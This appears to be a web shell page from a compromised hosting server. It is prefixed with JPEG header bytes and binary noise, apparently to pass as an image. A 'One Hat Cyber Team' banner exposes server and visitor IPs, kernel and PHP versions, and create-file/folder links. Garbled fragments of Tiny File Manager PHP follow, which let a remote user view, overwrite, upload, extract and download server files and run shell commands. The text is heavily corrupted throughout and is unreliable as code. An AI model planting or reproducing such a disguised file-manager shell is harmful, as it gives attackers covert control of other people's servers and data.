JFIF  H H (ICC_PROFILE   0 mntrRGB XYZ acsp   - desc trXYZ d gXYZ x bXYZ  rTRC  (gTRC  (bTRC  (wtpt  cprt  بV7eudakt!Q ,*RGPQNČzŬb 5666p z"c83''Mq6Gitql@90.ۚAcN|li:9蠃p/^ZnLx84v;[#$ nh'c32o8Ɛ5KAv*_?nX?pyֆ̈́#z23F0Oe> {Gu.V (C'h/o%>x1X r:(>}{ycX8b]U:dOMsVAp'Z3'3E-ybj:>jOvUw#2cl~@gFCjțbz ^:-tdfj{XTh8aUM^+dAl"(KK m1$$ XKKqržoqg V FF#pG~:]֦!!Ң:pC+ AzӬ].t`='h_/} @L\,x㌼z԰+J-v+Y['8' % X q=[4Sj~4ݢ#dʂēRL5kX؊>l:t\baBA\Q38( ө:&$ 'L#d{qH>*5;jDo ˷YmԈ*[9*5tUf%3= GUW\'AR_W4_P պ -|4RFJZv0d[ˠzJ|PU8;鯌 'VcL,κ>*eb)f,0"j1 1v՘;bJ++COz7%>NU,=z\cEVK>Ic7} .jHn;^觱GHI HVǂO:ߊ{mSV?K|@ AiAT`2j 1~K8’$ ~]=9ឦG *9EMּm5Xf9Qĸ}i D%+t+;F: v:-&h_rD|! Ә;Zl븂':C&ҀaeKkm6 uT".}J&\ hciB2B+T7t?EPþЌmAF\lc2ЊABmE,cն\QJ]d5 `O Y@8?lx#KiI&Ri1fR2f1N%_g*TӨ??N:}+לɀh٭qL,ʈBrcuBmz ̢TV^ 뙏8' ufUX3㓏>NG:/;Hp饕B1K /%iɫ VQ%:_ -1oL?Roa\i^F|W*Na)P X#y㯨z+Cح\вjirm*dWҡQbBȨi'%NEb?'[h=`OiU϶u nR}GW4fVJmiR~J|l%m'%"LW V27NsXb?_={s}ij4Ý=SNjxFV"ԎI(E)]ӝЖm[4 m`5-7Wf󪥎bZKa#Vb%KY5T$y`46̼p C7HM'l{Oi +Pw~j,S5T4(FԨ;A`*HJTPgt(6/cg5U1@Qb8Y!rBzOQKF+6v%=~XDPpWc_-:߈#c坣CW1:^Q 06Ӭq@ Dj$ UW$?9F\cSM5=2>hב\,()JBk; J#j徻W(p=oQD #UMhU*Fc ?N=nF5Ӑ12w05Z뀩4ڣ霅uC1y%nJ8Ԑ*crR 9W=H9,A׻,.ZFb QEGVNs, q';OMmbtNVqOw*֙kPѬ؈XJIӯEWok+R{%j; Yx 7&&,LԜYbw"lI(*`۹F AS- #$413)Qpڤ3RxOJ$cP]viuq {kyN.- B,@󪳪ڸAor%X0UNb9 򍕑7)*233|Rnb@q|EUý$!7&["XOy ~ƓtADhP]mG파9p=ԜZ]ӭሎOeyq !bI GU:5~FoL ST[е$]$g*w]!;m@ޠ&IUڬ{҄բ-.SmҒ` vU"oL;'5s"W)@äL1i}^Y5$+Pv0o HU @ȓsQM)?M\4Q $2;g WJ/NwFJGD: y όMfW!QUZ%azҳDK_XhM^rԝ^!d'<#ﴛO{/F?+$ Y' wg'$ljGAH7l4xѶc}I*esg~;ͤt@B2iB'9C a8fTR: %NO@ m3sv w .@濾 ,FYrT0mUW_v>>d[A6ڊx:YTLHvӺ!nSD}>[mET0_,'C]pjVᅷPDZ[-V0`>}ܟpmֻ2O6O*ݹXHSN(J /+1՟#(P*gEO#w&j6?;ڡ)+U]l\/{莄*I/9<'$'#'yt/&-\\WPL`/p9qa'e¨E] fAAEYnGtm,ϮwXT>AaN#FjŵjQFdq^<H?yJ܃2*3 T4ЧH**W;(ꭽ¾Pf=eyA4FJ6{e]JqOCf#3SJf iMM\ iT$rG8$9>2:M)Q#NKe&"E8.z<mHk?#t˒A]; G0H:f!i! j{1m}o7u;$99Ӱ\ncz:zALq޶wyKT<4X,'!Y;Ͱ6q GM~_~܂}t>(zl}:r L9 fe}.-R*<`c6oܛ=prҽGB)nQ%)s*&i΍%—Zb{m[NNkbwBw Q*dF HP iܛ; aV68j}\eIGI'͔B;yA :^bn-m#@S6ˎr ;~cmƻgU:X6G%[gc{]c4)fpsgY˅>*"1}2<175)]V5)kdkM~`΂:{4nGPTTb   뎱϶w FFᓂG8>zF_H9_rDl:ҶH5Z!Bj.yk}erb:SOT]!ǎ?n:HεZsyztn[7NZ#UQO$.J#]Cr#YX9c<'$z 9 .$$PnDSn 2u5X g\ ?|Aᬰⶵ >>bE)Cb-ruMc׺*,\)`^m ge\k.۫8گoK1gWMpU޻zI=EErz:#6--/Wm\z8מ0x tA_c?Ծc^MژIMyO>l0ċ}t7[\ʲ9̜m_a[姯rְjP\kx1'CdmvF70e+m-]a?ݝKuSMUm 8f Yb!)2Z.UD \~:ܽ8zR̪Kcbs&ߦ1$, w\gc3F$iU#<`:I4{w.2aQ$EXNo?Gm NN rE$#Jn҉!AH'zePzRog8u(tJP߁Z.pÐ͢Aռ65Xsyvm 6RW7W;|0 >OүG@ٳ<>omԼ()kZJlK,F 4)snOQ{u㌏= Ao,ծ?eKBzG 6e6 f|CU _4C[j͕M8,%emM8\ cv COwTGi _94BDf%'ns8MPc&-y"8R_j 3a+z+N 9QlDQ40E VۋrH2I_YO',:뿉WNHvﵐ0B}na*E zUbN#0e"f.Q H5"-HVn=+ # Eiy- v8=g`o[ 鼛2.D^QeB ؅qϿRC~ B+Jۍ8 4*ӖΝ1R BI\ 1[0 I9y)Y " 7]6qg\ vP  s= Ѭ֕)פE< c`ϷU9W,: ?y1hsU(T ge/룮JA]|4aZVAIeIhBI!l$3![qHnw\7R{oM/ִ>5& gwjFE dc@K:V&W/k+=Yk[ @fU5zzmFȖH,[ n-dc wd[z"g4ϘRr0`B8_; #$^Zo5KZYKj GY%s"!a[9I2TF-w#a]˒Itٮei_FpVЧ૱W3eCi7 "}HApG>h֝5i T٧- '`dX1AF$$ޙ_Z]ڷTC Uy JGO} >A"5a> ZUR -Z\9 jrWݖQRݳ*ļ]$ڵXq=/w z\II#{ӭl^;F_R쵎[ָ[gKKͰoQ )W녕іs*kuzŨQde`WU_KLE~"g r<2GyއL(-VY -Z(IU0 |\;8C mhl:̄DkYHOk|:*DY tsس |zrO;񍃌sT31=jwyШ^nZHm_G̮0W󿓹S;_$mٛIDV=f-H}U]HA*vԶ3\Wh*I#$@6x^OZC&JU 16 XD*if&BDGFYYP[KLX uX .Z hq Ghb8M#Mqt\c> aT 00=㎨ʕGQԪR,ĜI9zӦJO3Rn`C5܊@QO1N.ؔ"I\YÖĐHdL\}IP~jm$ y; :ZGZVJv =&*UF#``R`*S+p\=) ҭ9k̮Ršx0'**ԑLkɺk+zJb#:|MZ ?j$ݼ &X)$6FY6ѕ/; J*nlC*ų_ ԕ{_6:\47ڷs4RmĊ=z *ʪXT[]5Bl#a-˙bv8@H|Rwe9A%5&M%Z02TN)&&GfM 儀oŒM;=.//k~ E"a9/3y,>lj>ZXy&εYP&h gec<``]!}i'c KQulFIʓ_\T58(+cJq~ [dgmm/`Xڙhtkq ו$"c[PVY[uɜ&#몵"ȾqC"ÜȔ!<Mj8u-dx*gϫtTLdKlaWڭ\~|7u`h(w֋cL=˼=FvcGs}зUBSМ;FI;Q$8+V|[CS쮙1%YP Q% LVVK+&,cIb]Vyi ~h?yF4"5As-F ݆x55P&E:W@f;}Gy^]U ITki 1 d﫠*cNh' cؗYnsL:b?H :kM~@8#Iqɔ~:f]P*i]H'fjhxTҗ1O:^t$1]UXz&tODT>(^s&3#N_/x-䬦? ~vU-W$4'ӎvRG|jySW?u4(1 G[ِ22jʎhrmoյشgRͮ%ϟѬ9 oR  n-&F-@hgY_qN;"2 !KJ  šA^, "aG8`=14=5Mqk>U@UT :RgjrKF.O$I9'=i}._ One Hat Cyber Team
  • Your IP: 216.73.216.215
  • Server IP: 198.54.114.155
  • Server: Linux server71.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
  • Server Software: LiteSpeed
  • PHP Version: 8.1.33
  • Buat File | Buat Folder
View File Name : symfony.tar

""

Full path:
File size:
MIME-type:
Files in archive:
Total size:
Size in archive:
Compression: %
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

           

'; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fm_enc($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo '
'; } else { echo '

'.lng('Error while fetching archive info').'

'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fm_enc($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fm_enc($content) . '
'; } echo $content; } ?>
'. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
' . htmlspecialchars($content) . ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

Full path:

 

'?'); $group = array('name' => '?'); } ?> '?'); $group = array('name' => '?'); } ?>
..
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?> '.fm_get_filesize(@disk_free_space($path)) .' '.lng('FreeOf').' '.fm_get_filesize(@disk_total_space($path)).''; ?>
= $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Path traversal prevention and clean the url * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. * @param $path * @return string */ function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } /** * Check file is in exclude list * @param string $file * @return bool */ function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) { return true; } return false; } /** * get language translations from json file * @param int $tr * @return array */ function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } /** * @param $file * Recover all file sizes larger than > 2GB. * Works on php 32bits and 64bits and supports linux * @return int|string */ function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin && class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } /** * Get total size of directory tree. * * @param string $directory Relative or absolute directory name. * @return int Total number of bytes. */ function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false && $directory != '' && file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path, $ext) { if ($ext == 'zip' && function_exists('zip_open')) { $arch = zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = zip_read($arch)) { $zip_name = zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => zip_entry_filesize($zip_entry), 'compressed_size' => zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } zip_close($arch); return $filenames; } } elseif($ext == 'tar' && class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("phar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Prevent XSS attacks * @param string $text * @return string */ function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION[FM_SESSION_ID]['message'] = $msg; $_SESSION[FM_SESSION_ID]['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * @param $obj * @return array */ function fm_object_to_array($obj) { if (!is_object($obj) && !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'zip': case 'rar': case 'gz': case 'tar': case '7z': case 'xz': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'map', 'lock', 'dtd', 'svg', 'scss', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsx', 'jsp', 'jspx', 'cfm', 'cgi', 'yml', 'yaml', 'toml' ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Get online docs viewer supported files extensions * @return array */ function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } /** * This function scans the files and folder recursively, and return matching files * @param string $dir * @param string $filter * @return json */ function scan($dir, $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($dir) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } /* Parameters: downloadFile(File Location, File Name, max speed, is streaming If streaming - videos will show as videos, images as images instead of download prompt https://stackoverflow.com/a/13821992/1164642 */ function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); if(is_array($contentType)) { $contentType = implode(' ', $contentType); } header("Cache-Control: public"); header("Content-Transfer-Encoding: binary\n"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; $size = filesize($fileLocation); if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } if ($size == 0) { die('Zero byte file! Aborting download'); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); fseek($fp, $range); while (!feof($fp) and (connection_status() == 0)) { set_time_limit(0); print(@fread($fp, 1024*$chunkSize)); flush(); ob_flush(); // sleep(1); } fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } /** * Class to work with Tar files (using PharData) */ class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } /** * Save Configuration */ class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'Tiny File Manager
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) && count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[FM_SESSION_ID]['message'] . '

